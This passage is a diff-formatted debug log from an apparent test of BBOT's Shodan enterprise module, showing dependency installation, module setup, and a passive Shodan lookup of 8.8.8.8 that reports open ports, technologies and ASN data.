}, + { + "name": "Install OpenSSL library and development headers (Alpine)", + "package": { + "name": [ + "openssl", + "openssl-dev" + ], + "state": "present" + }, + "become": false, + "when": "ansible_facts['os_family'] == 'Alpine'", + "ignore_errors": true + }, + { + "name": "Install OpenSSL library and development headers (FreeBSD)", + "package": { + "name": [ + "openssl" + ], + "state": "present" + }, + "become": false, + "when": "ansible_facts['os_family'] == 'FreeBSD'", + "ignore_errors": true + } + ] +} +2026-02-27 22:07:04,879 [DEBUG] bbot.core.helpers.depsinstaller installer.py:397 Ansible status: successful +2026-02-27 22:07:04,880 [DEBUG] bbot.core.helpers.depsinstaller installer.py:398 Ansible return code: 0 +2026-02-27 22:07:04,885 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing shodan_enterprise - Preloaded Deps {'modules': [], 'pip': ['shodan'], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} +2026-02-27 22:07:04,886 [HUGEINFO] bbot.core.helpers.depsinstaller installer.py:193 Installing module dependencies. Please be patient, this may take a while. +2026-02-27 22:07:04,886 [VERBOSE] bbot.core.helpers.depsinstaller installer.py:195 Installing dependencies for module "shodan_enterprise" +2026-02-27 22:07:04,886 [INFO] bbot.core.helpers.depsinstaller installer.py:269 Installing the following pip packages: shodan +2026-02-27 22:07:04,891 [HUGEVERBOSE] bbot.core.helpers.command command.py:198 run: /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-hEZ38Iko-py3.10/bin/python -m pip install --upgrade shodan --constraint /private/tmp/.bbot_test/temp/ft3nu03db4du526g7qhm +2026-02-27 22:07:05,771 [INFO] bbot.core.helpers.depsinstaller installer.py:288 Requirement already satisfied: filelock>=3.0.8 in /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-hEZ38Iko-py3.10/lib/python3.10/site-packages (from tldextract->shodan) (3.18.0) +2026-02-27 22:07:05,772 [DEBUG] bbot.core.helpers.depsinstaller installer.py:202 Setup succeeded for module "shodan_enterprise" +2026-02-27 22:07:05,773 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing python - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} +2026-02-27 22:07:05,773 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "python" +2026-02-27 22:07:05,773 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing dnsresolve - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} +2026-02-27 22:07:05,774 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "dnsresolve" +2026-02-27 22:07:05,774 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing unarchive - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} +2026-02-27 22:07:05,774 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "unarchive" +2026-02-27 22:07:05,776 [VERBOSE] bbot.scanner scanner.py:1181 Loading 1 scan modules: shodan_enterprise +2026-02-27 22:07:05,909 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "shodan_enterprise" +2026-02-27 22:07:05,909 [INFO] bbot.scanner scanner.py:1191 Loaded 1/1 scan modules (shodan_enterprise) +2026-02-27 22:07:05,909 [VERBOSE] bbot.scanner scanner.py:1181 Loading 2 internal modules: dnsresolve,unarchive +2026-02-27 22:07:05,911 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "dnsresolve" +2026-02-27 22:07:05,911 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "unarchive" +2026-02-27 22:07:05,911 [INFO] bbot.scanner scanner.py:1191 Loaded 2/2 internal modules (dnsresolve,unarchive) +2026-02-27 22:07:05,912 [VERBOSE] bbot.scanner scanner.py:1181 Loading 1 output modules: python +2026-02-27 22:07:05,913 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "python" +2026-02-27 22:07:05,913 [INFO] bbot.scanner scanner.py:1191 Loaded 1/1 output modules, (python) +2026-02-27 22:07:05,914 [VERBOSE] bbot.scanner scanner.py:1181 Setting up modules +2026-02-27 22:07:05,914 [DEBUG] bbot.modules._scan_ingress base.py:1563 Setting up module _scan_ingress +2026-02-27 22:07:05,915 [DEBUG] bbot.modules._scan_ingress base.py:1563 Running _scan_ingress.setup_deps() +2026-02-27 22:07:05,915 [DEBUG] bbot.modules._scan_ingress base.py:1563 Running _scan_ingress.setup() +2026-02-27 22:07:05,915 [DEBUG] bbot.modules._scan_ingress base.py:1563 Finished setting up module _scan_ingress +2026-02-27 22:07:05,915 [DEBUG] bbot.modules.dnsresolve base.py:1563 Setting up module dnsresolve +2026-02-27 22:07:05,915 [DEBUG] bbot.modules.dnsresolve base.py:1563 Running dnsresolve.setup_deps() +2026-02-27 22:07:05,915 [DEBUG] bbot.modules.dnsresolve base.py:1563 Running dnsresolve.setup() +2026-02-27 22:07:05,916 [DEBUG] bbot.modules.dnsresolve base.py:1563 Finished setting up module dnsresolve +2026-02-27 22:07:05,916 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Setting up module shodan_enterprise +2026-02-27 22:07:05,916 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Running shodan_enterprise.setup_deps() +2026-02-27 22:07:05,916 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Running shodan_enterprise.setup() +2026-02-27 22:07:05,917 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Finished setting up module shodan_enterprise +2026-02-27 22:07:05,917 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Setting up module unarchive +2026-02-27 22:07:05,917 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Running unarchive.setup_deps() +2026-02-27 22:07:05,917 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Running unarchive.setup() +2026-02-27 22:07:05,917 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Finished setting up module unarchive +2026-02-27 22:07:05,918 [DEBUG] bbot.modules.output.python base.py:1563 Setting up module python +2026-02-27 22:07:05,918 [DEBUG] bbot.modules.output.python base.py:1563 Running python.setup_deps() +2026-02-27 22:07:05,918 [DEBUG] bbot.modules.output.python base.py:1563 Running python.setup() +2026-02-27 22:07:05,918 [DEBUG] bbot.modules.output.python base.py:1563 Finished setting up module python +2026-02-27 22:07:05,918 [DEBUG] bbot.modules._scan_egress base.py:1563 Setting up module _scan_egress +2026-02-27 22:07:05,919 [DEBUG] bbot.modules._scan_egress base.py:1563 Running _scan_egress.setup_deps() +2026-02-27 22:07:05,919 [DEBUG] bbot.modules._scan_egress base.py:1563 Running _scan_egress.setup() +2026-02-27 22:07:05,919 [DEBUG] bbot.modules._scan_egress base.py:1563 Finished setting up module _scan_egress +2026-02-27 22:07:05,919 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for python (success) +2026-02-27 22:07:05,919 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for unarchive (success) +2026-02-27 22:07:05,920 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for _scan_ingress (success) +2026-02-27 22:07:05,920 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for _scan_egress (success) +2026-02-27 22:07:05,920 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for dnsresolve (success) +2026-02-27 22:07:05,920 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for shodan_enterprise (success) +2026-02-27 22:07:05,920 [DEBUG] bbot.scanner scanner.py:1176 Setting intercept module dnsresolve._incoming_event_queue to previous intercept module _scan_ingress.outgoing_event_queue +2026-02-27 22:07:05,921 [DEBUG] bbot.scanner scanner.py:1176 Setting intercept module _scan_egress._incoming_event_queue to previous intercept module dnsresolve.outgoing_event_queue +2026-02-27 22:07:05,921 [SUCCESS] bbot.scanner scanner.py:1201 Setup succeeded for 6/6 modules. +2026-02-27 22:07:05,921 [DEBUG] bbot base.py:109 Executing setup_after_prep() +2026-02-27 22:07:05,921 [DEBUG] bbot base.py:111 Starting scan +2026-02-27 22:07:06,067 [HUGESUCCESS] bbot.scanner scanner.py:1206 Starting scan testshodan_enterprise_test_2ch2yp82dx +2026-02-27 22:07:06,067 [VERBOSE] bbot.scanner scanner.py:1181 Starting module worker loops +2026-02-27 22:07:06,177 [VERBOSE] bbot.scanner scanner.py:1181 6 modules started +2026-02-27 22:07:06,178 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to STARTING +2026-02-27 22:07:06,178 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to RUNNING +2026-02-27 22:07:06,180 [VERBOSE] bbot.modules._scan_ingress base.py:1579 Target: IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'distance-1', 'ipv4'}) +2026-02-27 22:07:06,279 [DEBUG] bbot.modules._scan_ingress base.py:1563 IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'distance-1', 'ipv4'}) passed post-check +2026-02-27 22:07:06,280 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'distance-1', 'ipv4'}) +2026-02-27 22:07:06,281 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'distance-1', 'ipv4'}) in-scope because its main host matches the scan target +2026-02-27 22:07:06,282 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'ipv4', 'in-scope'}) +2026-02-27 22:07:06,284 [DEBUG] bbot.modules._scan_ingress base.py:1563 SCAN("{'id': 'SCAN:00e750990e9aca473ee2032886c6362136f292de', 'name': 'testshodan_ente...", module=TARGET, tags=set()) passed post-check +2026-02-27 22:07:06,284 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting SCAN("{'id': 'SCAN:00e750990e9aca473ee2032886c6362136f292de', 'name': 'testshodan_ente...", module=TARGET, tags=set()) +2026-02-27 22:07:06,285 [DEBUG] bbot.modules.dnsresolve base.py:1563 IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'ipv4', 'in-scope'}) passed post-check +2026-02-27 22:07:06,286 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'ipv4', 'in-scope'}) +2026-02-27 22:07:06,288 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding SCAN("{'id': 'SCAN:00e750990e9aca473ee2032886c6362136f292de', 'name': 'testshodan_ente...", module=TARGET, tags=set()) +2026-02-27 22:07:06,289 [DEBUG] bbot.modules.dnsresolve base.py:1563 Not intercepting SCAN("{'id': 'SCAN:00e750990e9aca473ee2032886c6362136f292de', 'name': 'testshodan_ente...", module=TARGET, tags=set()) because postcheck failed (it did not meet custom filter criteria: event does not have host attribute) +2026-02-27 22:07:06,290 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding SCAN("{'id': 'SCAN:00e750990e9aca473ee2032886c6362136f292de', 'name': 'testshodan_ente...", module=TARGET, tags=set()) +2026-02-27 22:07:06,292 [DEBUG] bbot.modules._scan_egress base.py:1563 SCAN("{'id': 'SCAN:00e750990e9aca473ee2032886c6362136f292de', 'name': 'testshodan_ente...", module=TARGET, tags=set()) passed post-check +2026-02-27 22:07:06,293 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting SCAN("{'id': 'SCAN:00e750990e9aca473ee2032886c6362136f292de', 'name': 'testshodan_ente...", module=TARGET, tags=set()) +2026-02-27 22:07:06,295 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding SCAN("{'id': 'SCAN:00e750990e9aca473ee2032886c6362136f292de', 'name': 'testshodan_ente...", module=TARGET, tags=set()) +2026-02-27 22:07:06,296 [DEBUG] bbot.modules.output.python base.py:1563 Queueing SCAN("{'id': 'SCAN:00e750990e9aca473ee2032886c6362136f292de', 'name': 'testshodan_ente...", module=TARGET, tags=set()) because precheck succeeded +2026-02-27 22:07:06,300 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'ipv4', 'in-scope'}) +2026-02-27 22:07:06,301 [DEBUG] bbot.modules._scan_egress base.py:1563 IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'ipv4', 'in-scope'}) passed post-check +2026-02-27 22:07:06,301 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'ipv4', 'in-scope'}) +2026-02-27 22:07:06,302 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'ipv4', 'in-scope'}) +2026-02-27 22:07:06,302 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Queueing IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'ipv4', 'in-scope'}) because precheck succeeded +2026-02-27 22:07:06,303 [DEBUG] bbot.modules.output.python base.py:1563 Queueing IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'ipv4', 'in-scope'}) because precheck succeeded +2026-02-27 22:07:06,303 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Got IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'ipv4', 'in-scope'}) from TARGET +2026-02-27 22:07:06,304 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'ipv4', 'in-scope'}) passed post-check +2026-02-27 22:07:06,304 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Handling IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'ipv4', 'in-scope'}) +2026-02-27 22:07:06,307 [DEBUG] urllib3.connectionpool connectionpool.py:1049 Starting new HTTPS connection (1): api.shodan.io:443 +2026-02-27 22:07:06,418 [DEBUG] urllib3.connectionpool connectionpool.py:544 https://api.shodan.io:443 "GET /shodan/host/8.8.8.8?key=deadbeef HTTP/1.1" 200 None +2026-02-27 22:07:06,421 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Finished handling IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'ipv4', 'in-scope'}) +2026-02-27 22:07:06,422 [DEBUG] bbot.modules.output.python base.py:1563 Got SCAN("{'id': 'SCAN:00e750990e9aca473ee2032886c6362136f292de', 'name': 'testshodan_ente...", module=TARGET, tags=set()) from TARGET +2026-02-27 22:07:06,423 [DEBUG] bbot.modules.output.python base.py:1563 SCAN("{'id': 'SCAN:00e750990e9aca473ee2032886c6362136f292de', 'name': 'testshodan_ente...", module=TARGET, tags=set()) passed post-check +2026-02-27 22:07:06,424 [DEBUG] bbot.modules.output.python base.py:1563 Got IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'ipv4', 'in-scope'}) from TARGET +2026-02-27 22:07:06,424 [DEBUG] bbot.modules.output.python base.py:1563 IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'ipv4', 'in-scope'}) passed post-check +2026-02-27 22:07:06,425 [DEBUG] bbot.modules._scan_ingress base.py:1563 OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) passed post-check +2026-02-27 22:07:06,425 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) +2026-02-27 22:07:06,426 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) in-scope because its main host matches the scan target +2026-02-27 22:07:06,427 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) +2026-02-27 22:07:06,427 [DEBUG] bbot.modules._scan_ingress base.py:1563 OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check +2026-02-27 22:07:06,427 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) +2026-02-27 22:07:06,428 [DEBUG] bbot.modules.dnsresolve base.py:1563 OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) passed post-check +2026-02-27 22:07:06,429 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) +2026-02-27 22:07:06,430 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) in-scope because its main host matches the scan target +2026-02-27 22:07:06,430 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) +2026-02-27 22:07:06,431 [DEBUG] bbot.modules._scan_ingress base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HSTS'}", module=shodan_enterprise, tags={'security', 'web-technology', 'in-scope'}) passed post-check +2026-02-27 22:07:06,431 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HSTS'}", module=shodan_enterprise, tags={'security', 'web-technology', 'in-scope'}) +2026-02-27 22:07:06,432 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) +2026-02-27 22:07:06,432 [DEBUG] bbot.modules.dnsresolve base.py:1563 OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check +2026-02-27 22:07:06,432 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) +2026-02-27 22:07:06,433 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HSTS'}", module=shodan_enterprise, tags={'security', 'web-technology', 'in-scope'}) in-scope because its main host matches the scan target +2026-02-27 22:07:06,434 [DEBUG] bbot.modules._scan_egress base.py:1563 OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) passed post-check +2026-02-27 22:07:06,434 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) +2026-02-27 22:07:06,435 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HSTS'}", module=shodan_enterprise, tags={'security', 'web-technology', 'in-scope'}) +2026-02-27 22:07:06,436 [DEBUG] bbot.modules._scan_ingress base.py:1563 ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) passed post-check +2026-02-27 22:07:06,436 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) +2026-02-27 22:07:06,436 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) +2026-02-27 22:07:06,437 [DEBUG] bbot.modules.dnsresolve base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HSTS'}", module=shodan_enterprise, tags={'security', 'web-technology', 'in-scope'}) passed post-check +2026-02-27 22:07:06,437 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HSTS'}", module=shodan_enterprise, tags={'security', 'web-technology', 'in-scope'}) +2026-02-27 22:07:06,438 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) +2026-02-27 22:07:06,438 [DEBUG] bbot.modules.output.python base.py:1563 Queueing OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) because precheck succeeded +2026-02-27 22:07:06,439 [DEBUG] bbot.modules._scan_egress base.py:1563 OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check +2026-02-27 22:07:06,439 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) +2026-02-27 22:07:06,440 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) +2026-02-27 22:07:06,440 [DEBUG] bbot.modules._scan_ingress base.py:1563 OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check +2026-02-27 22:07:06,441 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) +2026-02-27 22:07:06,441 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HSTS'}", module=shodan_enterprise, tags={'security', 'web-technology', 'in-scope'}) +2026-02-27 22:07:06,442 [DEBUG] bbot.modules.dnsresolve base.py:1563 Not intercepting ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) because postcheck failed (it did not meet custom filter criteria: event does not have host attribute) +2026-02-27 22:07:06,442 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) +2026-02-27 22:07:06,443 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) in-scope because its main host matches the scan target +2026-02-27 22:07:06,443 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) +2026-02-27 22:07:06,444 [DEBUG] bbot.modules.output.python base.py:1563 Queueing OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) because precheck succeeded +2026-02-27 22:07:06,444 [DEBUG] bbot.modules._scan_egress base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HSTS'}", module=shodan_enterprise, tags={'security', 'web-technology', 'in-scope'}) passed post-check +2026-02-27 22:07:06,445 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HSTS'}", module=shodan_enterprise, tags={'security', 'web-technology', 'in-scope'}) +2026-02-27 22:07:06,445 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) +2026-02-27 22:07:06,446 [DEBUG] bbot.modules._scan_ingress base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HTTP/3'}", module=shodan_enterprise, tags={'web-technology', 'miscellaneous', 'in-scope'}) passed post-check +2026-02-27 22:07:06,446 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HTTP/3'}", module=shodan_enterprise, tags={'web-technology', 'miscellaneous', 'in-scope'}) +2026-02-27 22:07:06,447 [DEBUG] bbot.modules.dnsresolve base.py:1563 OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check +2026-02-27 22:07:06,447 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) +2026-02-27 22:07:06,448 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HTTP/3'}", module=shodan_enterprise, tags={'web-technology', 'miscellaneous', 'in-scope'}) in-scope because its main host matches the scan target +2026-02-27 22:07:06,448 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HSTS'}", module=shodan_enterprise, tags={'security', 'web-technology', 'in-scope'}) +2026-02-27 22:07:06,449 [DEBUG] bbot.modules.output.python base.py:1563 Queueing TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HSTS'}", module=shodan_enterprise, tags={'security', 'web-technology', 'in-scope'}) because precheck succeeded +2026-02-27 22:07:06,449 [DEBUG] bbot.modules._scan_egress base.py:1563 ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) passed post-check +2026-02-27 22:07:06,450 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) +2026-02-27 22:07:06,450 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HTTP/3'}", module=shodan_enterprise, tags={'web-technology', 'miscellaneous', 'in-scope'}) +2026-02-27 22:07:06,451 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) +2026-02-27 22:07:06,451 [DEBUG] bbot.modules.dnsresolve base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HTTP/3'}", module=shodan_enterprise, tags={'web-technology', 'miscellaneous', 'in-scope'}) passed post-check +2026-02-27 22:07:06,451 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HTTP/3'}", module=shodan_enterprise, tags={'web-technology', 'miscellaneous', 'in-scope'}) +2026-02-27 22:07:06,452 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) +2026-02-27 22:07:06,453 [DEBUG] bbot.modules.output.python base.py:1563 Queueing ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) because precheck succeeded +2026-02-27 22:07:06,453 [DEBUG] bbot.modules._scan_egress base.py:1563 OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check +2026-02-27 22:07:06,453 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) +2026-02-27 22:07:06,454 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HTTP/3'}", module=shodan_enterprise, tags={'web-technology', 'miscellaneous', 'in-scope'}) +2026-02-27 22:07:06,454 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) +2026-02-27 22:07:06,455 [DEBUG] bbot.modules.output.python base.py:1563 Queueing OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) because precheck succeeded +2026-02-27 22:07:06,455 [DEBUG] bbot.modules._scan_egress base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HTTP/3'}", module=shodan_enterprise, tags={'web-technology', 'miscellaneous', 'in-scope'}) passed post-check +2026-02-27 22:07:06,456 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HTTP/3'}", module=shodan_enterprise, tags={'web-technology', 'miscellaneous', 'in-scope'}) +2026-02-27 22:07:06,456 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HTTP/3'}", module=shodan_enterprise, tags={'web-technology', 'miscellaneous', 'in-scope'}) +2026-02-27 22:07:06,457 [DEBUG] bbot.modules.output.python base.py:1563 Queueing TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HTTP/3'}", module=shodan_enterprise, tags={'web-technology', 'miscellaneous', 'in-scope'}) because precheck succeeded +2026-02-27 22:07:06,525 [DEBUG] bbot.modules.output.python base.py:1563 Got OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) from shodan_enterprise +2026-02-27 22:07:06,526 [DEBUG] bbot.modules.output.python base.py:1563 OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) passed post-check +2026-02-27 22:07:06,526 [DEBUG] bbot.modules.output.python base.py:1563 Got OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) from shodan_enterprise +2026-02-27 22:07:06,527 [DEBUG] bbot.modules.output.python base.py:1563 OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check +2026-02-27 22:07:06,527 [DEBUG] bbot.modules.output.python base.py:1563 Got TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HSTS'}", module=shodan_enterprise, tags={'security', 'web-technology', 'in-scope'}) from shodan_enterprise +2026-02-27 22:07:06,527 [DEBUG] bbot.modules.output.python base.py:1563 TECHNOLOGY("{'host': 